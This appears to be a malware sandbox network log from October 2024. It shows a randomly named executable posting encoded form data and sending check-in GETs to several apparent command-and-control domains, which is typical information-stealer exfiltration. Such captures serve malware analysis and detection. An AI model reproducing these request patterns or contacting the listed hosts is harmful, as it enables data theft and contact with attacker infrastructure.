Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.11.20	49800	85.159.66.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:24.877330065 CEST	813	OUT	POST /f57g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.animazor.online Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.animazor.online Referer: http://www.animazor.online/f57g/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 43 72 61 30 49 4e 33 71 4d 71 63 46 5a 71 6c 47 63 46 6d 39 77 66 2f 64 62 45 64 77 57 64 49 36 47 2b 4b 6d 2b 49 36 6c 68 66 2b 70 70 48 75 6f 54 49 63 70 58 56 4d 4a 69 6f 31 38 49 33 6b 5a 48 65 7a 67 71 64 6e 38 67 6b 30 50 67 38 69 4d 46 76 46 69 6e 6e 74 39 35 43 43 5a 66 4c 33 75 6e 70 69 4d 30 79 31 4e 4c 68 2f 6e 72 70 73 58 52 61 68 53 5a 33 68 6d 4c 57 6f 43 69 57 45 42 37 57 39 6c 2b 6b 51 43 54 75 39 35 54 2b 68 75 5a 32 69 4a 4f 4a 70 62 35 75 79 69 5a 53 75 2f 64 57 54 65 34 63 65 6f 6d 79 34 7a 73 41 37 4c 38 6c 35 61 51 49 6a 62 49 58 79 67 58 63 71 50 34 73 59 6f 55 6a 53 65 6d 47 4c 39 4e 68 58 36 31 71 31 4a 67 62 59 3d Data Ascii: SLTxDJ=Cra0IN3qMqcFZqlGcFm9wf/dbEdwWdI6G+Km+I6lhf+ppHuoTIcpXVMJio18I3kZHezgqdn8gk0Pg8iMFvFinnt95CCZfL3unpiM0y1NLh/nrpsXRahSZ3hmLWoCiWEB7W9l+kQCTu95T+huZ2iJOJpb5uyiZSu/dWTe4ceomy4zsA7L8l5aQIjbIXygXcqP4sYoUjSemGL9NhX61q1JgbY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.11.20	49801	85.159.66.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:27.630004883 CEST	1289	OUT	POST /f57g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.animazor.online Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.animazor.online Referer: http://www.animazor.online/f57g/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 43 72 61 30 49 4e 33 71 4d 71 63 46 5a 71 6c 47 63 46 6d 39 77 66 2f 64 62 45 64 77 57 64 49 36 47 2b 4b 6d 2b 49 36 6c 68 66 6d 70 70 78 79 6f 52 72 45 70 57 56 4d 4a 6f 49 31 35 49 33 6b 2b 48 65 37 73 71 64 37 73 67 6d 4d 50 79 4a 32 4d 42 71 6c 69 75 6e 74 39 78 69 43 59 53 72 33 42 6e 6f 53 49 30 32 52 4e 4c 68 2f 6e 72 71 45 58 56 4c 68 53 4a 48 68 6c 49 57 70 44 6d 57 46 65 37 57 6b 59 2b 6b 63 53 54 64 31 35 51 65 78 75 56 6b 4b 4a 52 35 70 6a 70 2b 79 36 5a 53 69 30 64 57 2f 6b 34 66 43 43 6d 78 49 7a 73 31 54 52 76 30 77 46 45 62 4c 4b 4e 6d 4f 6d 57 4b 79 5a 35 66 49 4f 54 43 69 48 69 68 62 66 43 68 62 41 78 72 31 5a 39 73 52 7a 75 2f 32 59 75 46 74 49 72 61 57 5a 58 58 74 79 48 37 52 57 48 53 4e 69 5a 42 52 72 4e 44 61 34 51 75 52 33 75 5a 73 6a 2b 41 6c 77 38 53 39 7a 74 68 74 75 32 38 52 6c 55 38 52 49 55 50 4d 72 79 75 67 30 42 56 33 72 49 61 63 44 49 4c 42 6f 70 78 59 51 76 67 77 45 50 31 51 2f 6c 4d 79 45 77 39 45 50 48 34 56 4a 64 4a 4b 41 59 48 73 53 59 71 6f [TRUNCATED] Data Ascii: SLTxDJ=Cra0IN3qMqcFZqlGcFm9wf/dbEdwWdI6G+Km+I6lhfmppxyoRrEpWVMJoI15I3k+He7sqd7sgmMPyJ2MBqliunt9xiCYSr3BnoSI02RNLh/nrqEXVLhSJHhlIWpDmWFe7WkY+kcSTd15QexuVkKJR5pjp+y6ZSi0dW/k4fCCmxIzs1TRv0wFEbLKNmOmWKyZ5fIOTCiHihbfChbAxr1Z9sRzu/2YuFtIraWZXXtyH7RWHSNiZBRrNDa4QuR3uZsj+Alw8S9zthtu28RlU8RIUPMryug0BV3rIacDILBopxYQvgwEP1Q/lMyEw9EPH4VJdJKAYHsSYqoRuWV8A2gO+xDhFt9pAvJ+BknmeairQPXt+BrTWKqSVnPyYBXsRo/jFgAD7rq3Hj3US3H9uW1Nx0E2Yw4T/+S/rPWWY7P8DEVnSeHd6qrsPX371K9tl5Ssl9xJ/SDheoWNdio7oOETg54DHbhMJ9jpn10BE47IpJqWew+sTBllVjYq7MLzP2QhgyETmhQJyoBlByW8YSBiY4XDQQNH2EFwBFNN8EhmnZGumppsEB/119MH5C7tiyrBriTKIWiWKgThdzJ5RPCfeG8pxyqeeq6PZlgAUy8vfW9jk1WCBU8YtDNNtWAVeNX3FsDoHexLiI+Q9nK56s2lceg8g4EuHpjnpsghY9G8c+nlmRf9Bht
Oct 3, 2024 18:16:27.630053997 CEST	1289	OUT	Data Raw: 54 54 6f 43 56 58 6a 43 73 34 4a 39 72 4a 4e 47 69 58 66 48 2f 4b 49 5a 5a 7a 76 36 65 34 48 45 59 34 67 4f 55 75 51 72 55 36 4e 63 6d 72 2f 4f 70 6a 58 63 73 53 55 30 37 30 58 2b 39 43 4b 70 72 6a 46 36 31 32 4f 45 69 73 4f 41 44 64 33 63 73 5a Data Ascii: TToCVXjCs4J9rJNGiXfH/KIZZzv6e4HEY4gOUuQrU6Ncmr/OpjXcsSU070X+9CKprjF612OEisOADd3csZU5Y6jtVb8Zc8JtyiA2kYeOM+Atv2MSzhKEHxlfEs3/91BPER58qD0FiXbr20rjlD9DlVUzcDKDPwTSY/zODFYoMRtss6DkUc08ZLYJtqzramrxtwi3DhA+G1LV/pIvFUdp1PNBpK6wJ8uH0bmKgvSYIc3TP1vX/WC
Oct 3, 2024 18:16:27.630104065 CEST	5384	OUT	Data Raw: 6b 2b 69 6f 64 6b 53 31 6f 71 4e 63 4f 46 66 33 68 6a 2f 5a 6c 78 7a 7a 66 4a 46 73 38 4e 38 53 6e 6e 78 75 68 4b 73 30 34 4c 56 59 47 47 4b 70 35 35 4c 71 5a 46 4e 6a 56 7a 48 6b 50 6a 31 36 6a 35 53 32 7a 4e 4b 4c 35 6d 54 59 43 2b 6e 54 43 79 Data Ascii: k+iodkS1oqNcOFf3hj/ZlxzzfJFs8N8SnnxuhKs04LVYGGKp55LqZFNjVzHkPj16j5S2zNKL5mTYC+nTCyNrAMkNLHsRac4wd+yfY+5QtVjhkIFIF2w5al3FCDp72mZcb+I8zxQuTtNgpPyo4CLqrtOnlGMZDdn7ZPF61L2BnWMP2dJTYiQ/DGB1nTtc8Me7J8w8GzEF8UBwJJyAdgLenzTAaRdvJEiuBb8bA+Z7XSZqC9kbsZP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.11.20	49802	85.159.66.93	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:30.375211000 CEST	521	OUT	GET /f57g/?SLTxDJ=PpyUL764Lok+Ppx0Qx+flf+oLnZjKtESHdypv4ujlvPdkHCPNJQcR2wKvaRzAHBpGeyN5Ompg3h0vZ2hJul1rBg78gGMUKvCjJ308wc1KBj/j4QDVYdFWXw=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.animazor.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:16:30.589745045 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Thu, 03 Oct 2024 16:16:30 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-10-03T16:16:35.4792733Z

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.11.20	49803	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:35.717132092 CEST	793	OUT	POST /rhg0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.myplayamate.llc Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/rhg0/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 37 4a 64 50 64 44 54 72 70 30 6e 79 6a 37 50 4d 67 63 31 56 6f 56 42 36 51 64 59 6c 48 6c 41 4c 62 55 58 4f 4e 38 71 59 7a 50 71 63 78 44 7a 70 6b 6c 52 34 36 56 4c 46 37 46 36 68 52 55 66 39 31 69 35 41 35 56 45 6a 42 45 2b 4a 71 4c 61 57 77 4b 35 42 38 35 61 43 69 66 65 5a 32 63 33 30 32 31 6c 76 2b 30 50 50 53 6c 55 39 46 70 73 38 36 77 38 76 35 76 5a 71 79 6c 70 39 57 5a 49 37 37 38 62 76 33 46 4e 6b 59 78 31 45 4a 38 35 33 4f 5a 44 48 38 43 67 61 49 57 6b 31 79 4d 34 32 36 6b 6b 2b 46 59 2b 33 57 71 4b 75 44 65 52 76 38 63 53 45 71 33 35 4e 58 4c 58 4c 50 72 57 35 69 67 3d 3d Data Ascii: SLTxDJ=7JdPdDTrp0nyj7PMgc1VoVB6QdYlHlALbUXON8qYzPqcxDzpklR46VLF7F6hRUf91i5A5VEjBE+JqLaWwK5B85aCifeZ2c3021lv+0PPSlU9Fps86w8v5vZqylp9WZI778bv3FNkYx1EJ853OZDH8CgaIWk1yM426kk+FY+3WqKuDeRv8cSEq35NXLXLPrW5ig==

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.11.20	49804	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:38.373182058 CEST	813	OUT	POST /rhg0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.myplayamate.llc Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/rhg0/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 37 4a 64 50 64 44 54 72 70 30 6e 79 68 62 54 4d 6d 2f 4e 56 76 31 42 35 64 4e 59 6c 4a 46 42 4d 62 55 62 4f 4e 39 76 64 7a 39 65 63 78 69 44 70 6c 6b 52 34 37 56 4c 46 38 31 36 75 4f 6b 66 6d 31 69 46 49 35 52 45 6a 42 45 36 4a 71 4f 32 57 77 35 52 43 38 70 61 41 75 2f 65 62 34 38 33 30 32 31 6c 76 2b 30 4c 6c 53 6c 4d 39 46 61 45 38 72 6b 49 6f 78 50 5a 70 37 46 70 39 64 35 49 6e 37 38 62 4e 33 45 52 4f 59 79 42 45 4a 38 4a 33 4f 49 44 45 7a 43 67 63 48 32 6b 71 36 66 6c 73 79 47 77 2b 43 4b 6d 65 52 61 57 73 50 6f 41 31 68 75 6d 67 70 6b 6c 2f 54 37 75 6a 4e 70 58 69 2f 72 63 43 68 2b 74 69 46 64 66 55 75 57 53 71 6f 6c 62 62 61 37 30 3d Data Ascii: SLTxDJ=7JdPdDTrp0nyhbTMm/NVv1B5dNYlJFBMbUbON9vdz9ecxiDplkR47VLF816uOkfm1iFI5REjBE6JqO2Ww5RC8paAu/eb483021lv+0LlSlM9FaE8rkIoxPZp7Fp9d5In78bN3EROYyBEJ8J3OIDEzCgcH2kq6flsyGw+CKmeRaWsPoA1humgpkl/T7ujNpXi/rcCh+tiFdfUuWSqolbba70=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.11.20	49805	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:41.012140036 CEST	1289	OUT	POST /rhg0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.myplayamate.llc Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/rhg0/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 37 4a 64 50 64 44 54 72 70 30 6e 79 68 62 54 4d 6d 2f 4e 56 76 31 42 35 64 4e 59 6c 4a 46 42 4d 62 55 62 4f 4e 39 76 64 7a 39 47 63 78 52 62 70 6b 48 35 34 34 56 4c 46 2f 31 36 2b 4f 6b 65 2b 31 6d 52 4d 35 52 41 56 42 47 79 4a 72 73 2b 57 68 6f 52 43 70 5a 61 41 67 76 65 59 32 63 33 6c 32 31 31 6a 2b 31 37 6c 53 6c 4d 39 46 66 41 38 37 41 38 6f 33 50 5a 71 79 6c 70 68 57 5a 49 44 37 36 79 77 33 45 46 30 62 42 5a 45 4a 63 5a 33 43 61 62 45 36 43 67 65 45 32 6c 2f 36 66 6f 79 79 41 56 50 43 4c 53 30 52 61 75 73 63 4f 38 6f 30 39 61 6a 37 47 74 48 65 59 47 68 43 59 37 49 34 4b 6f 73 78 75 4a 4a 47 49 76 44 77 67 65 4c 34 6b 33 65 50 2f 4b 52 71 53 59 49 46 74 68 44 43 6f 54 54 4d 57 6f 74 62 4f 65 70 47 63 4a 4a 62 63 2b 73 73 62 78 57 4c 72 72 6a 59 52 4b 65 7a 30 2f 69 49 56 36 7a 35 55 31 30 6b 41 39 6f 47 58 71 6e 49 4b 4e 46 69 5a 2f 70 53 41 32 69 53 39 2b 4d 70 66 55 30 6d 55 62 4a 30 59 6b 46 51 64 38 56 4d 58 63 58 4b 4a 31 35 37 39 7a 56 7a 4d 4a 68 63 51 79 71 48 52 49 [TRUNCATED] Data Ascii: SLTxDJ=7JdPdDTrp0nyhbTMm/NVv1B5dNYlJFBMbUbON9vdz9GcxRbpkH544VLF/16+Oke+1mRM5RAVBGyJrs+WhoRCpZaAgveY2c3l211j+17lSlM9FfA87A8o3PZqylphWZID76yw3EF0bBZEJcZ3CabE6CgeE2l/6foyyAVPCLS0RauscO8o09aj7GtHeYGhCY7I4KosxuJJGIvDwgeL4k3eP/KRqSYIFthDCoTTMWotbOepGcJJbc+ssbxWLrrjYRKez0/iIV6z5U10kA9oGXqnIKNFiZ/pSA2iS9+MpfU0mUbJ0YkFQd8VMXcXKJ1579zVzMJhcQyqHRIO860t1FJhH5PwLdMT6P3OWNOSsPVpRcatDIHisUg60aQ2WNwMitJEfbv33JteoyopBAVxt9//BXm+neETZWKs5HRDcT7zSNRBHbOiGdqfsO3/zRf1MS14z1fm5dOPsOZztW5KIY59Q8t2cWO8dvOZk7GSpt+LsMzPE1txiam9iqZ1nCgtUubVGC6VObGRi5Z/9j8TElL3c/IZ0jv6xJaSOd3/FUeNDTO0uznbd+5P+vlzXYYQHXOB/wCx0P5PCvOS0415v+OFzPapndUXKhE72AESnfyzR/VhDQVpl1w1p8nfIPmocTn0m6LCiU+VWUxbrTuRVtsWRa6uDIZqHSWGWzVimvq16P7w66Fzx8A
Oct 3, 2024 18:16:41.012188911 CEST	5156	OUT	Data Raw: 78 53 30 55 30 6a 6f 71 4c 2f 64 77 6b 49 46 4f 65 2f 61 35 6a 6d 6f 35 45 44 35 48 72 4b 37 57 44 68 4a 5a 63 34 6d 4e 71 6d 6c 66 32 44 6a 41 76 76 47 77 59 73 36 7a 5a 30 54 77 4d 4a 67 6b 7a 36 4f 54 58 65 49 4b 32 59 74 49 65 65 70 33 49 66 Data Ascii: xS0U0joqL/dwkIFOe/a5jmo5ED5HrK7WDhJZc4mNqmlf2DjAvvGwYs6zZ0TwMJgkz6OTXeIK2YtIeep3If/1hrVdvmF8+Qkl+BsILNHfLWWR3pLMfODUmE8eW7RGWULAAn+Dnap2cELA7sU/lKJ8t4jZctaANheaf0E6v+anXMeQzZgdM4eBqu8YA+z7nojwBWHiTiVQF9pCtddxrEgyw7FBkABcl/ogdArKMODDt2SKMinB4ot
Oct 3, 2024 18:16:41.012236118 CEST	1517	OUT	Data Raw: 56 71 74 36 36 38 46 6f 44 72 49 35 44 52 64 61 46 74 48 69 61 65 58 33 46 59 42 6f 6f 4a 65 4a 34 6b 34 33 73 56 79 54 52 49 75 56 6c 45 35 30 5a 4a 56 38 41 77 62 77 5a 47 69 76 37 4d 66 79 58 36 6f 2b 4f 41 39 42 43 5a 50 4e 6c 42 75 42 2b 2b Data Ascii: Vqt668FoDrI5DRdaFtHiaeX3FYBooJeJ4k43sVyTRIuVlE50ZJV8AwbwZGiv7MfyX6o+OA9BCZPNlBuB++Yy3zPT8V50F8Op+Or4B82fcbUee8jGsN7KzEM/XjniGtkIa0Q2vul3ip1J/yfV3EQeH8Ly/ofeQbG8YCMYASldmSgPVAazLZIDjJQ29Oe9VkUpXj3xCJjUsNs/ma3Ps1Ov+0Bvm+XW2veAqGyHHsnWJHRrd9uTQeK

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.11.20	49806	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:43.648374081 CEST	521	OUT	GET /rhg0/?SLTxDJ=2L1ve2bmhFTS5KzkmMxIzSFacPcGfmR9IE3yYvHp2/L/wTys70xKqVLp323vXEq+zj0T9FJ1aW2OvbGQ4Lpp6uTFnvn++ufGxUl1x1y0DnQlMq5exFAJ/qg=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.myplayamate.llc Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:16:43.752046108 CEST	396	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 03 Oct 2024 16:16:43 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 53 4c 54 78 44 4a 3d 32 4c 31 76 65 32 62 6d 68 46 54 53 35 4b 7a 6b 6d 4d 78 49 7a 53 46 61 63 50 63 47 66 6d 52 39 49 45 33 79 59 76 48 70 32 2f 4c 2f 77 54 79 73 37 30 78 4b 71 56 4c 70 33 32 33 76 58 45 71 2b 7a 6a 30 54 39 46 4a 31 61 57 32 4f 76 62 47 51 34 4c 70 70 36 75 54 46 6e 76 6e 2b 2b 75 66 47 78 55 6c 31 78 31 79 30 44 6e 51 6c 4d 71 35 65 78 46 41 4a 2f 71 67 3d 26 73 64 71 70 3d 44 64 42 74 6a 70 75 30 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?SLTxDJ=2L1ve2bmhFTS5KzkmMxIzSFacPcGfmR9IE3yYvHp2/L/wTys70xKqVLp323vXEq+zj0T9FJ1aW2OvbGQ4Lpp6uTFnvn++ufGxUl1x1y0DnQlMq5exFAJ/qg=&sdqp=DdBtjpu0"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.11.20	49807	104.223.44.195	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:48.900708914 CEST	796	OUT	POST /195u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.kerennih31.click Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/195u/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 58 50 77 6a 77 42 70 68 4d 6d 77 38 64 43 70 53 78 4b 71 6c 34 38 42 53 6a 61 35 6c 52 58 76 38 4e 66 76 63 4a 72 70 4c 75 4e 59 35 47 67 4b 79 72 54 78 35 47 35 56 55 57 4f 78 7a 56 4f 6e 77 30 65 45 72 78 4e 42 45 4a 33 51 6e 4d 50 51 73 37 2b 31 69 4f 46 56 7a 53 4c 34 68 56 59 6b 38 70 36 6a 6e 58 50 6f 64 33 53 7a 73 31 31 4a 44 4e 75 39 69 37 55 67 42 4a 57 6a 30 48 38 31 58 54 32 38 6f 4c 46 61 51 44 4d 35 5a 7a 32 30 44 4f 42 32 44 38 4d 34 31 71 51 6c 32 67 64 73 67 61 41 33 62 78 45 4e 4b 61 57 65 48 77 39 6b 4e 73 53 6d 50 37 30 6c 66 71 71 56 53 32 49 72 32 38 41 3d 3d Data Ascii: SLTxDJ=XPwjwBphMmw8dCpSxKql48BSja5lRXv8NfvcJrpLuNY5GgKyrTx5G5VUWOxzVOnw0eErxNBEJ3QnMPQs7+1iOFVzSL4hVYk8p6jnXPod3Szs11JDNu9i7UgBJWj0H81XT28oLFaQDM5Zz20DOB2D8M41qQl2gdsgaA3bxENKaWeHw9kNsSmP70lfqqVS2Ir28A==
Oct 3, 2024 18:16:49.031102896 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 03 Oct 2024 16:16:48 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.11.20	49808	104.223.44.195	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:51.570363045 CEST	816	OUT	POST /195u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.kerennih31.click Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/195u/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 58 50 77 6a 77 42 70 68 4d 6d 77 38 66 68 68 53 39 4a 79 6c 74 73 42 52 6f 36 35 6c 66 33 76 77 4e 66 6a 63 4a 76 59 41 75 34 6f 35 47 41 36 79 71 57 64 35 48 35 56 55 63 75 78 32 4e 75 6e 42 30 65 34 46 78 49 70 45 4a 33 45 6e 4d 4b 73 73 37 4a 70 74 50 56 56 4c 4c 62 34 6a 4b 49 6b 38 70 36 6a 6e 58 50 38 7a 33 53 72 73 31 46 5a 44 66 63 56 68 32 30 67 43 4f 57 6a 30 52 38 30 63 54 32 39 48 4c 42 37 4c 44 50 52 5a 7a 79 77 44 4f 77 32 43 32 4d 34 2f 6e 77 6b 61 77 75 64 5a 57 53 4c 49 77 46 52 79 55 6a 53 48 34 4c 31 58 78 67 53 72 34 6e 35 74 75 61 73 36 30 4b 71 74 68 41 30 2b 35 37 35 31 48 44 71 6b 79 4a 4b 78 79 53 79 6e 65 51 51 3d Data Ascii: SLTxDJ=XPwjwBphMmw8fhhS9JyltsBRo65lf3vwNfjcJvYAu4o5GA6yqWd5H5VUcux2NunB0e4FxIpEJ3EnMKss7JptPVVLLb4jKIk8p6jnXP8z3Srs1FZDfcVh20gCOWj0R80cT29HLB7LDPRZzywDOw2C2M4/nwkawudZWSLIwFRyUjSH4L1XxgSr4n5tuas60KqthA0+5751HDqkyJKxySyneQQ=
